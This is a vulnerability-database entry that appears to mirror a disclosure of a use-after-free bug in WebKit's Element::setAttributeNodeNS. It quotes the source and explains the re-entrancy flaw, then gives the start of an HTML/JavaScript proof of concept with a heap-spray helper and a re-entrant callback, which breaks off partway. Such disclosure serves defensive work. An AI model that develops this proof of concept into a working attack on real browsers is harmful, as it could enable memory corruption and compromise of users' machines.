WebKit: Element::setAttributeNodeNS UAF

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

WebKit: Element::setAttributeNodeNS UAF Here's a snippet of Element::setAttributeNodeNS. ``` ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode) { ... setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute); attrNode.attachToElement(*this); treeScope().adoptIfNeeded(attrNode); ensureAttrNodeListForElement(*this).append(&attrNode); return WTFMove(oldAttrNode); } ``` |setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed. ### PoC: ``` <body> <script> function gc() { for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); } } window.callback = () => { window.callback = null; d.setAttributeNodeNS(src);...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息